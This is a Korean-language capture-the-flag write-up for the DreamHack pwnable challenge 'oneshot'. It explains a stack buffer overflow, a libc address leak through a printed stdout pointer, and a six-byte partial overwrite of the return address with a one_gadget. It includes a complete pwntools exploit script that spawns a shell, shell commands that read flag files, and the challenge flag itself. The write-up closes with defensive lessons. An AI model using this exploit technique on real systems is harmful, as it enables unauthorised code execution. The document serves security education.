[🥈 Silver 4] 6바이트만 덮어도 충분하다 — DreamHack oneshot 풀이

문제: DreamHack — oneshot 분류: Pwnable 난이도: 🥈 Silver 4 FLAG: DH{a6e74f669acffd69602b76c81c0516b2}

30줄짜리 C 파일 하나. msg[16]에 read로 46바이트를 읽어들이는데 왜 하필 46이냐가 이 문제의 전부다. 16도 아니고 48도 아니고 46. 숫자 하나에 문제 전체의 제약 조건이 다 들어 있다.

이 글의 명령은 모두 extracted/ 에서 실행한다.

file oneshot libc.so.6 && echo --- && pwn checksec oneshot

문제 개요

문제 이름이 힌트다. one_gadget으로 셸을 한 방에 딴다.

🧩 배경 — return address는 스택 어디에 있나

카나리가 없는 x86-64 함수는 push rbp; mov rbp, rsp 로 시작해서 leave; ret 로 끝난다.

leave는 mov rsp, rbp; pop rbp를 줄인 명령이라, pop rbp 다음 스택 맨 위에 남는 값이 곧 ret가 꺼내 갈 return address다. 즉 함수 안에서 로컬 변수가 저장된 위치(rbp 기준 음수 오프셋)에서 시작해, saved rbp(오프셋 0), 그 바로 다음 8바이트(오프셋 +8)가 return address다.

이 구조를 알면 로컬 버퍼 하나만 오버플로우시켜도 그 뒤에 나란히 놓인 saved rbp와 return address까지 순서대로 덮을 수 있다. 카나리가 없으니 검증 없이 그대로 ret까지 도달한다.

문제는 read()가 정확히 몇 바이트를 넘겨주느냐다 — 그게 46이라는 숫자와 직결된다.

🔬 코드 정찰

전체 소스는 30여 줄이다.

cat -n oneshot.c

핵심은 세 줄이다.

char msg[16];
size_t check = 0;
...
printf("stdout: %p\n", stdout);   // libc 포인터를 그냥 찍어준다
...
read(0, msg, 46);                 // msg는 16바이트인데 46바이트를 읽는다
if (check > 0) { exit(0); }       // check가 오염되면 여기서 죽는다

printf("stdout: %p\n", stdout) 이 첫 번째 단서다. stdout은 FILE* 전역 변수인데, 이 값 자체가 libc 내부에 있는 _IO_2_1_stdout_ 구조체의 주소다. PIE 바이너리 주소가 아니라 libc 주소를 그냥 던져준다.

두 번째 단서는 read(0, msg, 46). msg는 16바이트 배열인데 46바이트를 읽으니 30바이트가 스택 아래쪽으로 넘친다. 다만 그 사이에 check라는 8바이트 size_t가 끼어 있고, 여기가 0이 아니면 read 직후 바로 exit(0)으로 죽어버린다. 오버플로우 페이로드 중간 8바이트를 정확히 0으로 채워야 한다는 제약이 생긴다.

오프셋을 직접 확인 — 디스어셈블

말로 짚은 오프셋이 맞는지 objdump로 main을 까본다.

objdump -d -M intel --disassemble=main oneshot

lea rax,[rbp-0x20]가 msg의 시작이고, check는 [rbp-0x8]. 즉 msg 시작 기준으로 check는 오프셋 24(0x18)에 있다. saved rbp는 오프셋 32, return address는 오프셋 40이다.

read가 채우는 건 딱 46바이트(오프셋 045)이므로 return address 8바이트(4047) 중 앞의 6바이트(4045)만 우리가 정할 수 있고 나머지 2바이트(4647)는 원래 스택에 있던 값 그대로 남는다.

ae1: call memset@plt 뒤에 오는 memset(msg, 0, sizeof(msg))는 msg 앞 16바이트만 지운다. check·saved rbp·return address는 이 이후에도 그대로 살아있다 — 이미 다 채워놓은 다음이라 상관없다.

💣 핵심 — 6바이트로 충분한 이유

x86-64 유저 공간 주소는 항상 0x0000________ 형태다. 위쪽 2바이트는 언제나 0이고 실제로 의미 있는 건 하위 6바이트뿐이다.

원래 스택에 있던 return address(= main을 호출한 __libc_start_main 복귀 지점)도 상위 2바이트가 0x0000이고, 우리가 심으려는 one_gadget 주소(libc_base + 오프셋)도 상위 2바이트는 마찬가지로 0x0000이다. 그러니 read가 건드리지 못하는 마지막 2바이트를 신경 쓸 필요가 없다 — 원래 값과 목표 값이 우연히 같다.

정리하면 페이로드는 이렇게 짜면 된다.

정확히 46바이트. read() 인자와 한 글자도 안 틀리고 맞아떨어진다.

🎯 libc base 구하기 + one_gadget 고르기

printf("stdout: %p\n", stdout)가 찍는 값은 _IO_2_1_stdout_ 구조체 주소다. 제공된 libc.so.6에서 이 심볼의 오프셋을 구하면 거기서 거꾸로 libc base를 계산할 수 있다.

strings -a libc.so.6 | grep "GNU C Library"
readelf -sW libc.so.6 | grep _IO_2_1_stdout_

glibc 2.23(Ubuntu 16.04)이고, _IO_2_1_stdout_은 libc 베이스에서 0x3c5620. 즉:

libc_base = leak - 0x3c5620

베이스를 구했으면 one_gadget으로 이 libc에 박혀 있는 execve 가젯을 찾는다.

one_gadget libc.so.6

네 후보 중 0x45216은 제약이 rax == NULL 하나뿐이다. 다른 셋은 [rsp+0x30]처럼 스택 특정 위치가 0이어야 하는데, 우리는 ret으로 진입하는 시점의 rsp 값을 세밀하게 통제하기 어렵다.

rax == NULL 쪽이 훨씬 다루기 쉽다 — 게다가 앞서 디스어셈블리에서 봤듯 ret 바로 앞이 mov eax, 0x0이다. main이 정상 종료하며 반환값을 0으로 세팅하는 그 한 줄이, 우리가 원하는 제약을 공짜로 만족시켜 준다.

target = libc_base + 0x45216

🚀 Full Exploit

리크 파싱부터 페이로드 조립, 플래그 회수까지 한 스크립트로 끝낸다.

#!/usr/bin/env python3
from pwn import *
import time
 
context.arch = 'amd64'
context.log_level = 'info'
 
LIBC_STDOUT_OFFSET = 0x3c5620   # _IO_2_1_stdout_ in provided libc.so.6 (glibc 2.23)
ONE_GADGET_OFFSET = 0x45216     # constraint: rax == NULL (satisfied by main's `mov eax,0` before leave;ret)
 
HOST = 'host3.dreamhack.games'
PORT = 22027
 
io = remote(HOST, PORT)
 
io.recvuntil(b'stdout: ')
leak = int(io.recvline().strip(), 16)
log.info(f'stdout leak (_IO_2_1_stdout_) = {hex(leak)}')
 
libc_base = leak - LIBC_STDOUT_OFFSET
log.info(f'libc base = {hex(libc_base)}')
 
target = libc_base + ONE_GADGET_OFFSET
log.info(f'one_gadget target = {hex(target)}')
 
payload = b'A' * 24          # fill msg[16] + pad up to check
payload += p64(0)            # check must stay 0 or exit(0) triggers
payload += b'B' * 8          # saved rbp, irrelevant
payload += p64(target)[:6]   # low 6 bytes of return address; top 2 bytes stay 0x0000
 
assert len(payload) == 46
 
io.recvuntil(b'MSG: ')
io.send(payload)
io.recvline()  # echoed "MSG: ...."
 
io.sendline(b'cat flag 2>/dev/null; cat /flag 2>/dev/null; cat /home/*/flag 2>/dev/null')
time.sleep(1)
print(io.recvall(timeout=3).decode(errors='replace'))
io.close()

실행하면 리크값, 계산한 베이스, 타깃 주소를 순서대로 찍고 곧바로 셸에 명령을 흘려 flag를 받아온다.

FLAG: DH{a6e74f669acffd69602b76c81c0516b2}

📝 결론

check 변수는 스택 오버플로우를 막는 장치가 아니다.

check > 0이면 즉시 exit(0)을 부르지만, 이건 오버플로우 자체를 막는 게 아니라 오버플로우 뒤의 코드 흐름(두 번째 printf)이 실행되지 않게 할 뿐이다. read()는 이미 그 전에 스택 전체를 덮은 뒤다. 방어 코드가 취약점보다 늦게 실행되면 의미가 없다.

포인터를 그대로 출력하면 그 자체가 정보 유출이다.

%p로 stdout을 찍은 건 디버깅 흔적처럼 보이지만, 그 값 하나가 ASLR로 가려둔 libc 베이스 전체를 무너뜨렸다. 사용자에게 보여줄 이유가 없는 포인터는 애초에 로그에도, 응답에도 남기지 않는 게 맞다.

partial overwrite는 항상 열려 있는 경로다.

read 길이가 return address 전체(8바이트)를 다 덮지 못해도, 상위 바이트가 어차피 고정값(0x0000)이라는 사실 하나로 공격은 성립한다. "덮을 수 있는 바이트 수가 부족하다"는 방어 논리는 실전에서 거의 통하지 않는다.

스택 카나리는 공짜 방어다.

이 문제는 -fno-stack-protector로 컴파일됐다. 카나리 하나만 있었어도 check를 넘어 saved rbp·return address까지 도달하기 전에 프로그램이 죽었을 것이다.